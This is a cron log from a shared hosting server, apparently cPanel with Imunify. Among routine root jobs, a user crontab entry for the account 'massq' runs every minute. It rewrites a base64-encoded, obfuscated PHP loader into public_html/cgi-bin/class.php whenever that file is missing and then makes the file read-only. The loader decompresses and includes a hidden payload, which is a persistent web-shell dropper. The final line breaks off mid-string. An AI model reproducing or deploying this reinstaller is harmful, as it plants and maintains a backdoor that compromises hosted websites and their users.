Sep  1 17:00:01 server CROND[3871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:00:01 server CROND[3875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:00:01 server CROND[3876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:00:01 server CROND[3872]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 17:00:01 server CROND[3873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:01:01 server CROND[4703]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 17:01:01 server CROND[4704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:01:01 server CROND[4705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:01:01 server CROND[4706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:01:01 server run-parts(/etc/cron.hourly)[4703]: starting 0anacron
Sep  1 17:01:01 server run-parts(/etc/cron.hourly)[4723]: finished 0anacron
Sep  1 17:02:01 server CROND[5096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:02:01 server CROND[5097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:02:01 server CROND[5095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:03:01 server CROND[5472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:03:01 server CROND[5473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:03:01 server CROND[5474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:04:01 server CROND[5849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:04:01 server CROND[5850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:04:01 server CROND[5852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:05:01 server CROND[6342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:05:01 server CROND[6341]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:05:01 server CROND[6343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:05:01 server CROND[6359]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:05:01 server CROND[6361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:05:01 server CROND[6364]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 17:05:01 server CROND[6362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:05:01 server CROND[6363]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:05:01 server CROND[6366]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 17:06:01 server CROND[7182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:06:01 server CROND[7184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:06:01 server CROND[7185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:07:01 server CROND[7562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:07:01 server CROND[7563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:07:01 server CROND[7564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:08:01 server CROND[7934]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:08:01 server CROND[7935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:08:01 server CROND[7936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:09:01 server CROND[8306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:09:01 server CROND[8307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:09:01 server CROND[8308]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 17:09:01 server CROND[8309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:10:01 server CROND[8792]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 17:10:01 server CROND[8793]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:10:01 server CROND[8798]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:10:01 server CROND[8797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:10:01 server CROND[8802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:10:01 server CROND[8800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:10:01 server CROND[8804]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:10:01 server CROND[8799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:11:01 server CROND[9696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:11:01 server CROND[9697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:11:01 server CROND[9698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tb